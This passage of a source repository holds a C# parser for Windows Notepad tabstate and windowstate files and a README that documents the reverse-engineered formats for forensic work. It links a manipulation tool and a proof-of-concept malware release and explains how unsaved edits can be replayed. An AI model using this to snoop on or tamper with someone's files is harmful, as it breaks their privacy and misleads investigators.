HelpText = "Output Folder Location for CSV files. Default location is same folder as program.")] 224 | public string outputLocation { get; set; } 225 | } 226 | -------------------------------------------------------------------------------- /NotepadStateLibrary/WindowsNotepadParser/Program.cs: -------------------------------------------------------------------------------- 1 | using NotepadStateLibrary; 2 | using CsvHelper; 3 | using CsvHelper.Configuration; 4 | using System.Globalization; 5 | using CommandLine; 6 | using WindowsNotepadParser; 7 | using System.IO.Compression; 8 | 9 | 10 | Parser.Default.ParseArguments(args) 11 | .WithParsed(options => 12 | { 13 | string tabStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState"); 14 | string windowStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState"); 15 | string outputLocation = Directory.GetCurrentDirectory(); 16 | bool generateGif = options.generateGif; 17 | 18 | if (!string.IsNullOrWhiteSpace(options.tabStateLocation)) 19 | { 20 | tabStateLocation = options.tabStateLocation; 21 | } 22 | if (!string.IsNullOrWhiteSpace(options.windowStateLocation)) 23 | { 24 | windowStateLocation = options.windowStateLocation; 25 | } 26 | if (!string.IsNullOrWhiteSpace(options.outputLocation)) 27 | { 28 | outputLocation = options.outputLocation; 29 | } 30 | 31 | Console.WriteLine("********** Starting **********"); 32 | 33 | //TODO: Detect version of Notepad 34 | 35 | //Powershell? Get-AppxPackage *notepad* | Select Name, Version 36 | 37 | Console.WriteLine("TabState Folder Location - {0}", tabStateLocation); 38 | if (!Directory.Exists(tabStateLocation)) 39 | { 40 | Console.WriteLine("!! ERROR: Invalid TabState Folder Location !!"); 41 | Environment.Exit(3); 42 | } 43 | 44 | Console.WriteLine("WindowState Folder Location - {0}", windowStateLocation); 45 | if (!Directory.Exists(windowStateLocation)) 46 | { 47 | Console.WriteLine("!! ERROR: Invalid WindowState Folder Location !!"); 48 | Environment.Exit(3); 49 | } 50 | Console.WriteLine("Output Folder Location - {0}", outputLocation); 51 | if (!Directory.Exists(outputLocation)) 52 | { 53 | Directory.CreateDirectory(outputLocation); 54 | Console.WriteLine("!! WARNING: Creating Output Folder !!"); 55 | //Environment.Exit(3); 56 | } 57 | 58 | Console.WriteLine(); 59 | 60 | List fileTabs = new List(); 61 | List noFileTabs = new List(); 62 | List stateTabs = new List(); 63 | List windowStateTabs = new List(); 64 | List unsavedChunks = new List(); 65 | 66 | var config = new CsvConfiguration(CultureInfo.InvariantCulture) 67 | { 68 | HasHeaderRecord = true 69 | }; 70 | 71 | //Tabstate 72 | Console.WriteLine("Copying TabState Folder - {0}", tabStateLocation); 73 | CreateZipFromDirectory(tabStateLocation, Path.Combine(outputLocation, "TabStateFolder.zip")); 74 | 75 | foreach (var path in Directory.EnumerateFiles(tabStateLocation, "*.bin")) 76 | { 77 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) 78 | { 79 | byte[] data = new byte[fileStream.Length]; 80 | fileStream.Read(data); 81 | 82 | if (data.Length > 0) 83 | { 84 | Console.WriteLine("Processing TabState - {0}", Path.GetFileName(path)); 85 | NPTabState np = new NPTabState(data, Path.GetFileName(path)); 86 | 87 | switch (np.TypeFlag) 88 | { 89 | case 0: 90 | noFileTabs.Add(np); 91 | break; 92 | case 1: 93 | fileTabs.Add(np); 94 | break; 95 | default: 96 | stateTabs.Add(np); 97 | break; 98 | } 99 | 100 | if (np.UnsavedBufferChunks.Count > 0) 101 | { 102 | Console.WriteLine("Processing Unsaved Buffer Chunks for TabState - {0}", Path.GetFileName(path)); 103 | 104 | using (var writer = new StreamWriter(Path.Combine(outputLocation,string.Format("{0}-UnsavedBufferChunks.csv", Path.GetFileNameWithoutExtension(path))))) 105 | { 106 | using (var csv = new CsvWriter(writer, config)) 107 | { 108 | 109 | csv.WriteHeader(); 110 | csv.NextRecord(); 111 | csv.WriteRecords(np.UnsavedBufferChunks); 112 | } 113 | } 114 | 115 | if (generateGif) 116 | { 117 | Console.WriteLine("Generating Unsaved Buffer Chunks GIF for TabState - {0}", Path.GetFileName(path)); 118 | ContentToImage ci = new ContentToImage(np.Content, np.UnsavedBufferChunks, Path.Combine(outputLocation, string.Format("{0}.gif", Path.GetFileNameWithoutExtension(path)))); 119 | } 120 | } 121 | 122 | Console.WriteLine("CRC32 Check Pass: {0}", np.CRC32Calculated.SequenceEqual(np.CRC32Stored)); 123 | } 124 | } 125 | } 126 | 127 | //Writing File Tabs 128 | if (fileTabs.Count > 0) 129 | { 130 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "FileTabs.csv"))) 131 | { 132 | using (var csv = new CsvWriter(writer, config)) 133 | { 134 | csv.WriteHeader(); 135 | csv.NextRecord(); 136 | csv.WriteRecords(fileTabs); 137 | } 138 | } 139 | } 140 | 141 | //Writing No File Tabs 142 | if (noFileTabs.Count > 0) 143 | { 144 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "NoFileTabs.csv"))) 145 | { 146 | using (var csv = new CsvWriter(writer, config)) 147 | { 148 | csv.WriteHeader(); 149 | csv.NextRecord(); 150 | csv.WriteRecords(noFileTabs); 151 | } 152 | } 153 | } 154 | 155 | //Writing State Tabs 156 | if (stateTabs.Count > 0) 157 | { 158 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "StateTabs.csv"))) 159 | { 160 | using (var csv = new CsvWriter(writer, config)) 161 | { 162 | csv.WriteHeader(); 163 | csv.NextRecord(); 164 | csv.WriteRecords(stateTabs); 165 | } 166 | } 167 | } 168 | 169 | //Windowstate 170 | Console.WriteLine("Copying WindowState Folder - {0}", windowStateLocation); 171 | CreateZipFromDirectory(windowStateLocation, Path.Combine(outputLocation, "WindowStateFolder.zip")); 172 | 173 | foreach (var path in Directory.EnumerateFiles(windowStateLocation, "*.bin")) 174 | { 175 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) 176 | { 177 | byte[] data = new byte[fileStream.Length]; 178 | fileStream.Read(data); 179 | 180 | if (data.Length > 0) 181 | { 182 | Console.WriteLine("Processing WindowState - {0}", Path.GetFileName(path)); 183 | NPWindowState np = new NPWindowState(data, Path.GetFileName(path)); 184 | windowStateTabs.Add(np); 185 | 186 | Console.WriteLine("CRC32 Check Pass: {0}", np.CRC32Calculated.SequenceEqual(np.CRC32Stored)); 187 | } 188 | } 189 | } 190 | 191 | //Writing Window States 192 | if (windowStateTabs.Count > 0) 193 | { 194 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "WindowStateTabs.csv"))) 195 | { 196 | using (var csv = new CsvWriter(writer, config)) 197 | { 198 | csv.WriteHeader(); 199 | csv.NextRecord(); 200 | csv.WriteRecords(windowStateTabs); 201 | } 202 | } 203 | } 204 | 205 | Console.WriteLine("\r\n********** Finished **********"); 206 | 207 | }) 208 | .WithNotParsed(errors => 209 | { 210 | foreach (var error in errors) 211 | { 212 | if (error is HelpRequestedError || error is VersionRequestedError) 213 | { 214 | 215 | } 216 | else 217 | { 218 | Console.WriteLine($"Error: {error}"); 219 | } 220 | } 221 | }); 222 | 223 | void CreateZipFromDirectory(string sourceDirectoryName, string zipFilePath) 224 | { 225 | using (FileStream zipToOpen = new FileStream(zipFilePath, FileMode.Create)) 226 | using (ZipArchive archive = new ZipArchive(zipToOpen, ZipArchiveMode.Create)) 227 | { 228 | foreach (var file in Directory.GetFiles(sourceDirectoryName)) 229 | { 230 | var entryName = Path.GetFileName(file); 231 | var entry = archive.CreateEntry(entryName); 232 | entry.LastWriteTime = File.GetLastWriteTime(file); 233 | using (var fs = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) 234 | using (var stream = entry.Open()) 235 | { 236 | fs.CopyTo(stream); 237 | } 238 | } 239 | } 240 | } 241 | 242 | public class Options 243 | { 244 | [Option('t', "tabstatelocation", Required = false, HelpText = "Tab State Folder Location. Default value is the system location.")] 245 | public string tabStateLocation { get; set; } 246 | 247 | [Option('w', "windowstatelocation", Required = false, HelpText = "Window State Folder Location. Default value is the system location.")] 248 | public string windowStateLocation { get; set; } 249 | 250 | [Option('o', "outputlocation", Required = false, HelpText = "Output Folder Location for CSV files. Default location is same folder as program.")] 251 | public string outputLocation { get; set; } 252 | 253 | [Option('g', "generategif" , Default = false, Required = false, HelpText = "Generate GIF images of Unsaved Buffer Chunks. Default is false.")] 254 | public bool generateGif { get; set; } 255 | } 256 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Notepad State Library 2 | 3 | Microsoft Windows 11's version of [Windows Notepad](https://apps.microsoft.com/detail/9msmlrh6lzf3) supports multiple tabs and many other features. This repository serves to record and document my research and efforts in reverse engineering the format of the tabstate and windowstate files and understand their behavior. The result of which is a C# library and toolset that provides the ability to parse and manipulate the tabstate, windowstate, and settings files. 4 | 5 | The following are planned: 6 | 7 | - [ ] Tabstate Manipulator 8 | - [X] Windowstate Manipulator - [https://github.com/ogmini/Notepad-State-Library/releases/tag/WindowStateEditor](https://github.com/ogmini/Notepad-State-Library/releases/tag/WindowStateEditor) 9 | - [ ] Ways to detect manipulation 10 | - [X] POC Malware - [https://github.com/ogmini/Notepad-State-Library/releases/tag/GaslitPad](https://github.com/ogmini/Notepad-State-Library/releases/tag/GaslitPad) 11 | 12 | This library and its tools could be useful in forensic investigations or even in the toolbox for a red/purple team. 13 | 14 | > [!NOTE] 15 | > This repository grew out of two previous repositories of research and code that have been kept for posterity. 16 | > 17 | > [https://github.com/ogmini/Notepad-Tabstate-Buffer](https://github.com/ogmini/Notepad-Tabstate-Buffer) 18 | > [https://github.com/ogmini/Notepad-Windowstate-Buffer](https://github.com/ogmini/Notepad-Windowstate-Buffer) 19 | 20 | ## Usage 21 | > 22 | > [!WARNING] 23 | > Prior to using the library or any of the tools, you should have an understanding of the tabstate, windowstate, and settings files. I try to keep this README updated with research that I am documenting on my [blog](https://ogmini.github.io/tags.html#Windows-Notepad). 24 | > 25 | > [Information Section](#information) 26 | > 27 | > - [Tabstate](#tabstate) 28 | > - [Windowstate](#windowstate) 29 | > - [Settings](#settings) 30 | > - [Rewrite (AI Integration)](#rewrite) 31 | 32 | ### Library 33 | 34 | I have not released compiled DLLs. You can find the source code at [https://github.com/ogmini/Notepad-State-Library/tree/main/NotepadStateLibrary/NotepadStateLibrary](https://github.com/ogmini/Notepad-State-Library/tree/main/NotepadStateLibrary/NotepadStateLibrary) and compile it. 35 | 36 | Documentation WIP 37 | 38 | ### Pattern Files 39 | 40 | Binary Templates for 010 Editor and Pattern Files for ImHex have been submitted to their respective repositories and should be available for use. They can also be found in this repository at [https://github.com/ogmini/Notepad-State-Library/tree/main/PatternFiles](https://github.com/ogmini/Notepad-State-Library/tree/main/PatternFiles). 41 | 42 | ### Parser 43 | 44 | There are two versions of the parser and their differences are detailed below. 45 | 46 | `WindowsNotepadParser.exe` will check the default locations for [Tabstate](#tabstate) and [Windowstate](#windowstate) files and generate CSV files which can be viewed in tools such as [Timeline Explorer](https://ericzimmerman.github.io/) or Excel. GIFs will also be generated for any detected [Unsaved Buffer Chunks](#unsaved-buffer-chunk) to visualize the changes of the content over time. 47 | 48 | `WindowsNotepadParser-minimal.exe` will not generate GIFs for any [Unsaved Buffer Chunks](#unsaved-buffer-chunk). 49 | 50 | Running `WindowsNotepadParser.exe --help` will display flag options. 51 | 52 | ``` cmd 53 | -t, --tabstatelocation Tab State Folder Location. Default value is the system location. 54 | 55 | -w, --windowstatelocation Window State Folder Location. Default value is the system location. 56 | 57 | -o, --outputlocation Output Folder Location for CSV files. Default location is same folder as program. 58 | 59 | --help Display this help screen. 60 | 61 | --version Display version information. 62 | ``` 63 | 64 | Examples 65 | 66 | The following arguments would look at D:\tabstatefolder for tab state files and D:\windowstatefolder for window state fles. The csv files will be output to D:\results. 67 | `WindowsNotepadParser.exe -t D:\tabstatefolder -w D:\windowstatefolder -o D:\results` 68 | 69 | The following arguments will parse the default system location for the current user and output the csv files to D:\results. 70 | `WindowsNotepadParser.exe -o D:\results` 71 | 72 | ## Information 73 | 74 | The information below has been tested/validated on the following configurations: 75 | 76 | | Windows Build | Windows Notepad Version | 77 | |---|---| 78 | | Windows 11 23H2 OS Build 22635.3566 (Beta Release Branch) | 11.2402.22.0 | 79 | | Windows 11 23H2 OS Build 22631.3527 (Stable Release Branch) | 11.2402.22.0 | 80 | | Windows 11 23H2 OS Build 22631.3737 (Stable Release Branch) | 11.2404.10.0 | 81 | | Windows 11 23H2 OS Build 22631.4317 (Stable Release Branch) | 11.2407.9.0 | 82 | | Windows 11 23H2 OS Build 22631.4317 (Stable Release Branch) | 11.2408.12.0 | 83 | | Windows 11 23H2 OS Build 22631.4460 (Stable Release Branch) | 11.2409.9.0 | 84 | | Windows 11 24H2 OS Build 26100.4652 (Stable Release Branch) | 11.2504.62.0 | 85 | | Windows 11 25H2 OS Build 26200.6899 (Stable Release Branch) | 11.2507.26.0 | 86 | 87 | ### Tabstate 88 | 89 | > [!NOTE] 90 | > Location of Files 91 | > `%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState` 92 | > 93 | > Relevant Files 94 | > `*.bin` `*.0.bin` `*.1.bin` 95 | 96 | The tabstate files store information about the open tabs and their contents in Windows Notepad. The filenames are GUIDs and there are three types of *.bin files: 97 | 98 | - _File Tab_ 99 | - These tabs have been saved to disk or have been opened from a file on disk. 100 | - These tabs can be in a Saved or Unsaved condition. 101 | - Unsaved condition is visually denoted by a dot to the right of the Tab name. 102 | ![Dot](/Images/Unsaved%20Dot.png) 103 | - They have a TypeFlag of 1. 104 | - _No File Tab_ 105 | - These tabs have not been saved to disk and have not been opened from a file on disk. They only exist in the *.bin files. 106 | - These tabs can be in a New or Reopened condition. 107 | - Reopened condition is visually denoted by a dot to the right of the Tab name. 108 | ![Dot](/Images/Unsaved%20Dot.png) 109 | - They have a TypeFlag of 0. 110 | - _State File_ 111 | - These are the *.0.bin and *.1.bin files and store extra information about the related matching GUID *.bin. 112 | - These files do not always exist and this behavior will be expanded upon in the [Behavior](#behavior) section. 113 | - They have a TypeFlag of 10 or 11. 114 | 115 | Integrity of the file is validated with CRC32 calculated and stored for the preceding bytes. 116 | 117 | I've created a [Notepad-Tabstate.bt](https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=Notepad-TabState.bt&type=0&sort=) for 010 Editor and a [Notepad-Tabstate.hexpat](/PatternFiles/Tabstate/Notepad-TabState.hexpat) for ImHex to assist in examining these files. 118 | 119 | #### File Format 120 | 121 | ##### File Tab 122 | 123 | |Name|Type|Notes|Saved Condition| 124 | |---|---|---|---| 125 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"| 126 | |Sequence Number|uLEB128|Always 0| 127 | |TypeFlag|uLEB128|Equal to 1| 128 | |FilePathLength|uLEB128|Length of the FilePath in bytes| 129 | |FilePath|UTF-16LE (Variable Length)|FilePath string with length determined from FilePathLength| 130 | |SavedFileContentLength|uLEB128|Size in bytes of the text file saved on disk|Will be 0 if all changes have been saved to the file| 131 | |EncodingType|1 byte|1 = ANSI / 2 = UTF16LE / 3 = UTF16BE / 4 = UTF8BOM / 5 = UTF8| 132 | |CarriageReturnType|1 byte|1 = Windows CRLF / 2 = Macintosh CR / 3 = Unix LF| 133 | |Timestamp|uLEB128|18-digit Win32 FILETIME|Will be 0 if all changes have been saved to the file| 134 | |FileHash|32 bytes|SHA256 Hash of the text file saved on disk|Will be 0 if all changes have been saved to the file| 135 | |:question:Unknown|2 bytes|[0x00, 0x01]| 136 | |SelectionStartIndex|uLEB128|Start position of text selection| 137 | |SelectionEndIndex|uLEB128|End position of text selection| 138 | |[Configuration Block](#configuration-block)||| 139 | |ContentLength|uLEB128|Length of the Content in bytes|Will be 0 if all changes have been saved to the file| 140 | |Content|UTF-16LE (Variable Length)|Text Content with length determined from ContentLength|Will not exist if all changes have been saved to the file| 141 | |Unsaved|1 byte|Unsaved flag|Will be 0 since the file has been saved| 142 | |CRC32|4 bytes|CRC32 Check| 143 | |[Unsaved Buffer Chunks](#unsaved-buffer-chunk)||Will exist if any changes to the file are unsaved|Will not exist if all changes been saved to the file| 144 | 145 | ##### No File Tab 146 | 147 | |Name|Type|Notes|New Condition| 148 | |---|---|---|---| 149 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"| 150 | |Sequence Number|uLEB128|Always 0| 151 | |TypeFlag|uLEB128|Equal to 0| 152 | |:question:Unknown|1 byte|[0x01]| 153 | |SelectionStartIndex|uLEB128|Start position of text selection| 154 | |SelectionEndIndex|uLEB128|End position of text selection| 155 | |[Configuration Block](#configuration-block)||| 156 | |ContentLength|uLEB128|Length of the Content in bytes|Will be 0| 157 | |Content|UTF-16LE (Variable Length)|Text Content with length determined from ContentLength|Will not exist| 158 | |Unsaved|1 byte|Unsaved flag|Will be 0| 159 | |CRC32|4 bytes|CRC32 Check| 160 | |[Unsaved Buffer Chunks](#unsaved-buffer-chunk)||Values will exist for changes until they are flushed to Content when Windows Notepad is closed|| 161 | 162 | ##### State File 163 | 164 | |Name|Type|Notes| 165 | |---|---|---| 166 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"| 167 | |Sequence Number|uLEB128|Increments and highest number signifies the active state file| 168 | |TypeFlag|uLEB128|10 = No File Tab State / 11 = File Tab State| 169 | |:question:Unknown|1 byte|[0x00]| 170 | |BinSize|uLEB128|Size in bytes of the associated *.bin file| 171 | |SelectionStartIndex|uLEB128|Start position of text selection| 172 | |SelectionEndIndex|uLEB128|End position of text selection| 173 | |[Configuration Block](#configuration-block)||| 174 | |CRC32|4 bytes|CRC32 Check| 175 | 176 | ###### Configuration Block 177 | 178 | |Name|Type|Notes| 179 | |---|---|---| 180 | |WordWrap|1 byte|WordWrap flag| 181 | |RightToLeft|1 byte|RightToLeft flag| 182 | |ShowUnicode|1 byte|ShowUnicode flag| 183 | |MoreOptions|uLEB128|Number of More Options in bytes that follow| 184 | |[More Options Block](#more-options-block)||| 185 | 186 | ###### More Options Block 187 | 188 | |Name|Type|Notes| 189 | |---|---|---| 190 | |:question:Unknown| 1 byte|Spellcheck/Autocorrect? Do not seem to be flags. These were added to the file format when Spellcheck/Autocorrect feature was added| 191 | |:question:Unknown| 1 byte|Spellcheck/Autocorrect? Do not seem to be flags. These were added to the file format when Spellcheck/Autocorrect feature was added| 192 | |Formatting| 1 byte| 1 = Unformatted / 2 = Markdown Formatted / 3 = Markdown Syntax| 193 | 194 | ###### Unsaved Buffer Chunk 195 | 196 | Note, these will not exist for a Markdown Formatted tab. [https://ogmini.github.io/2025/06/28/Windows-Notepad-Markdown-Support.html](https://ogmini.github.io/2025/06/28/Windows-Notepad-Markdown-Support.html) 197 | |Name|Type|Notes| 198 | |---|---|---| 199 | |Cursor Position|uLEB128|Cursor Position of where Deletion/Addition/Insertion begins. Insertion is signified by both a Deletion Action and Addition Action| 200 | |Deletion Action|uLEB128|Number of Characters deleted| 201 | |Addition Action|uLEB128|Number of Characters added| 202 | |Added Characters|UTF-16LE (Variable Length)|Characters added with length determined from Addition Action| 203 | |CRC32|4 bytes|CRC32 Check of Unsaved Buffer Chunk| 204 | 205 | ### Windowstate 206 | 207 | > [!NOTE] 208 | > Location of Files 209 | > `%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState` 210 | > 211 | > Relevant Files 212 | > `*.0.bin` `*.1.bin` 213 | 214 | The windowstate files store information about opened windows of Windows Notepad and files are created for each opened window. Information is stored about: 215 | 216 | - Number of tabs 217 | - Order of tabs 218 | - Active tab 219 | - Window size 220 | - Window position 221 | 222 | Integrity of the file is validated with CRC32 calculated and stored for the preceding bytes. 223 | 224 | I've created a [Notepad-WindowState.bt](https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=Notepad-WindowState.bt&type=0&sort=) for 010 Editor and a [Notepad-WindowState.hexpat](/PatternFiles/Windowstate/Notepad-WindowState.hexpat) for ImHex to assist in examining these files. 225 | 226 | #### File Format 227 | 228 | |Name|Type|Notes| 229 | |---|---|---| 230 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"| 231 | |Sequence Number|uLEB128|| 232 | |BytesToCRC|uLEB128|Number of bytes to the CRC Check| 233 | |:question:Unknown|1 byte|[0x00]| 234 | |NumberTabs|uLEB128|Number of Tabs in Notepad| 235 | |GUID Chunks|16 bytes (Variable Number of Chunks)|GUID for each tab in view order that refer to the filename of the matching [Tabstate](#tabstate) file| 236 | |ActiveTab|uLEB128|Number of Active Tab in Notepad. 0 based index.| 237 | |TopLeftCoords_X|uINT32|| 238 | |TopLeftCoords_Y|uINT32|| 239 | |BottomRightCoords_X|uINT32|| 240 | |BottomRightCoords_Y|uINT32|| 241 | |WindowSize_Width|uINT32|| 242 | |WindowSize_Height|uINT32|| 243 | |:question:Unknown|1 byte|[0x00]| 244 | |CRC32|4 bytes|CRC32 Check| 245 | |[Slack Space](#slack-space)|Variable|| 246 | 247 | #### Slack Space 248 | 249 | It appears that the windowstate files will never reduce in size. More testing is required to validate this or to discover what actions will cause them to be deleted or cleared out. 250 | 251 | There is a potential to recover complete or partial GUIDs from the slack space that can be tied back to past [Tabstate](#tabstate) files. These deleted files could possibly be recovered and examined. As Tabs are opened and closed, the slack space will get more and more convoluted and disarrayed as records are overwritten as the GUID Chunks section changes in size. Manual parsing is suggested and there is no guarantee of being able to recover anything of use. 252 | 253 | ##### Approaches 254 | 255 | > [!WARNING] 256 | > The approaches make heavy assumptions. As Tabs are opened and closed, the slack space will get more and more convoluted and disarrayed. Manual parsing is suggested and there is no guarantee of being able to recover anything of use. 257 | 258 | WIP 259 | 260 | ### Settings 261 | > 262 | > [!NOTE] 263 | > Location of Files 264 | > `%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\Settings` 265 | > 266 | > Relevant Files 267 | > `settings.dat` 268 | 269 | The settings files store application wide settings and defaults. The `settings.dat` file is an application hive which can be opened with Registry Editor and other tools which can handle registry files. I've also updated the [RegistryHive.bt](https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=RegistryHive.bt&type=0&sort=) for 010 Editor. If a key doesn't exist that option hasn't been changed from the default or set. Research has already been published on this file format and a list of links can be found [here](#useful-links--information) 270 | 271 | ### Rewrite 272 | 273 | WIP 274 | 275 | Rewrite is the AI integration into Windows Notepad. 276 | 277 | Please see the following blog links: 278 | [https://ogmini.github.io/2025/03/08/Windows-Notepad-Rewrite.html](https://ogmini.github.io/2025/03/08/Windows-Notepad-Rewrite.html) 279 | [https://ogmini.github.io/2025/03/14/Windows-Notepad-Rewrite-Part-2.html](https://ogmini.github.io/2025/03/14/Windows-Notepad-Rewrite-Part-2.html) 280 | [https://ogmini.github.io/2025/03/16/Windows-Notepad-Rewrite-Part-3.html](https://ogmini.github.io/2025/03/16/Windows-Notepad-Rewrite-Part-3.html) 281 | [https://ogmini.github.io/2025/03/18/Windows-Notepad-Rewrite-Part-4.html](https://ogmini.github.io/2025/03/18/Windows-Notepad-Rewrite-Part-4.html) 282 | [https://ogmini.github.io/2025/03/19/Windows-Notepad-Rewrite-Part-5.html](https://ogmini.github.io/2025/03/19/Windows-Notepad-Rewrite-Part-5.html) 283 | 284 | #### Useful Links / Information 285 | 286 | [Application Hives](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/filtering-registry-operations-on-application-hives) 287 | 288 | [Windows Store App Settings](https://lunarfrog.com/blog/inspect-app-settings) 289 | 290 | [Manipulating Windows Store App Settings](https://www.damirscorner.com/blog/posts/20150117-ManipulatingSettingsDatFileWithSettingsFromWindowsStoreApps.html) 291 | 292 | [UWP App Data Storage](https://helgeklein.com/blog/uwp-universal-windows-app-data-storage-admins/) 293 | 294 | [REGF Format](https://github.com/libyal/libregf/blob/main/documentation/Windows%20NT%20Registry%20File%20(REGF)%20format.asciidoc) 295 | 296 | [Registry Format](https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md) 297 | 298 | #### File Format 299 | 300 | | Type | Hex | Description | 301 | |---|---|---| 302 | |0x5f5e104|`04 E1 F5 05` | uINT32 303 | |0x5f5e105|`05 E1 F5 05` | uINT32 304 | |0x5f5e10b|`0B E1 F5 05` | byte (bool) 305 | |0x5f5e10c|`0C E1 F5 05` | string (NULL Terminated) 306 | 307 | Last 8 bytes of the value for each key is the 18-digit Win32 FILETIME Timestamp for the setting change. 308 | 309 | | KeyName | Type | Notes | 310 | |---|---|---| 311 | |AutoCorrect|0x5f5e10b| 0 = Off / 1 = On 312 | |FindMatchCase | 0x5f5e10b | 0 = Off / 1 = On. Default is 0. | 313 | |FindString | 0x5f5e10c | Stores the last string searched by find. | 314 | |FindWrapAround | 0x5f5e10b | 0 = Off / 1 = On. Default is 1. | 315 | |FirstCowriterClick | 0x5f5e10b | | 316 | |FirstSignIn | 0x5f5e10b | | 317 | |FontFamily|0x5f5e10c| String 318 | |FontSize|0x5f5e104| 319 | |FontStyle|0x5f5e10c| String 320 | |FormattingEnabled| 0x5f5e10b | Markdown Enabled 321 | |FormattingFREFirstLoad| 0x5f5e10b | Unknown 322 | |GhostFile|0x5f5e10b| 0 = Open in a new window / 1 = Open content from a previous session 323 | |LocalizedFontFamily|0x5f5e10c| String 324 | |LocalizedFontStyle|0x5f5e10c| String 325 | |OpenFile|0x5f5e104| 0 = New Tab / 1 = New Window 326 | |PrivacyTeachingTip | 0x5f5e10b | | 327 | |RecentFiles | 0x5f5e10c | CSV array. List is in descending order with the most recently closed file at the top. | 328 | |RecentFilesEnabled | 0x5f5e10b | 0 = Off / 1 = On | 329 | |RecentFilesFirstLoad | 0x5f5e10b | 0 = Off / 1 = On | 330 | |ReplaceString | 0x5f5e10c | Stores the last string that was the replacement. | 331 | |RewriteEnabled|0x5f5e10b| 0 = Off / 1 = On 332 | |RewriteTeachingtip|0x5f5e10b| 0 = Off / 1 = On 333 | |SpellCheckState|0x5f5e10c| JSON: `{"Enabled":false,"FileExtensionsOverrides":[[".md",true],[".ass",true],[".lic",true],[".srt",true],[".lrc",true],[".txt",true]]}` 334 | |StatusBarShown|0x5f5e10b| 0 = Off / 1 = On 335 | |TeachingTipCheckCount|0x5f5e105| Unknown 336 | |TeachingTipExplicitClose|0x5f5e10b| Unknown 337 | |TeachingTipVersion|0x5f5e105| Unknown 338 | |Theme|0x5f5e104| 0 = System / 1 = Light / 2 = Dark 339 | |WebAccountId|0x5f5e10c| Unknown 340 | |WebAccountType | 0x5f5e104 | | 341 | |WindowPositionBottom|0x5f5e104| 342 | |WindowPositionHeight|0x5f5e104| 343 | |WindowPositionLeft|0x5f5e104| 344 | |WindowPositionRight|0x5f5e104| 345 | |WindowPositionTop|0x5f5e104| 346 | |WindowPositionWidth|0x5f5e104| 347 | |WordWrap|0x5f5e10b| 0 = Off / 1 = On| 348 | 349 | ### Behavior 350 | 351 | Timestamp for the _File Tab_ for [Tabstate](#tabstate) files will be set to 0 when the file is saved to disk. It will have a valid value when the first change is made to the contents of the file. Any successive changes before saving the file will not result in the Timestamp being updated. This behavior persists over opening/closing Windows Notepad. In short, the Timestamp for the _File Tab_ indicates when changes were started to be made on the file and that they have not yet been saved to disk. 352 | 353 | The timestamps associated with each key in the application hive show us when those [Settings](#settings) were last changed. 354 | 355 | The sequence number is used to tell which *.0.bin or *.1.bin is active as updates alternate between the two. The file with the highest sequence number is the active one and are relevant to both _State Files_ and [Windowstate](#windowstate) files. 356 | 357 | The presence of _State Files_ can tell us a bit about the usage pattern of Windows Notepad. For a _File Tab_ with no changes, the _State Files_ are only created when Windows Notepad is closed. They are subsequently deleted when the _File Tab_ is made active. The sequence number for the _State Files_ will never increment and the *.1.bin file will be empty. 358 | 359 | For a _File Tab_ or _No File Tab_ with unsaved changes, the _State Files_ are only created when Windows Notepad is closed and no [Unsaved Buffer Chunks](#unsaved-buffer-chunk) were flushed. They are subsequently deleted when new changes are made or the file has been saved. The sequence number for the _State Files_ will increment everytime Windows Notepad is closed and is indicative of many cycles of opening and closing Windows Notepad while in the unsaved and flushed state. 360 | 361 | While Windows Notepad is open the _File Tab_ and _No File Tab_ can have [Unsaved Buffer Chunks](#unsaved-buffer-chunk) of changes that haven't been flushed. The [Unsaved Buffer Chunks](#unsaved-buffer-chunk) can be used to playback the changes to the text similar to a keylogger. Once Windows Notepad is closed or the file is saved, the [Unsaved Buffer Chunks](#unsaved-buffer-chunk) are flushed into the content. 362 | 363 | Opening a Tab adds another Tab GUID Chunk to the collection of Chunks and updates the number of bytes to the CRC32 in the [Windowstate](#windowstate) file. Any existing slack space in the file will get overwritten up to the end of the new CRC32. 364 | 365 | Closing a tab deletes the relevant Tab GUID Chunk from the collection of Chunks and updates the number of bytes to the CRC32. Slack space after the CRC32 may result from closing tabs. The files appear to never get smaller. 366 | 367 | The following actions will cause an update of the sequence number in the [Windowstate](#windowstate) files: 368 | 369 | - Resizing window 370 | - Moving window 371 | - Reordering/moving tabs 372 | - Closing tab(s) 373 | - Closing multiple tabs at once results in one action 374 | - Opening tab(s) 375 | 376 | Creating a new Windows Notepad window by dragging a tab outside of the original window will spawn new [Windowstate](#windowstate) files. As you close each extra window, it will prompt you to save any files in that window and the corresponding [Windowstate](#windowstate) files will be deleted. When the last window of Windows Notepad is closed, the final [Windowstate](#windowstate) files will not be deleted. Only the [Windowstate](#windowstate) files for the last closed Windows Notepad is kept. 377 | 378 | ## Acknowledgements 379 | 380 | In random order: 381 | 382 | [jlogsdon](https://github.com/jlogsdon) 383 | [NordGaren](https://github.com/Nordgaren) 384 | [JohnHammond](https://github.com/JohnHammond) 385 | [JustArion](https://github.com/JustArion) 386 | 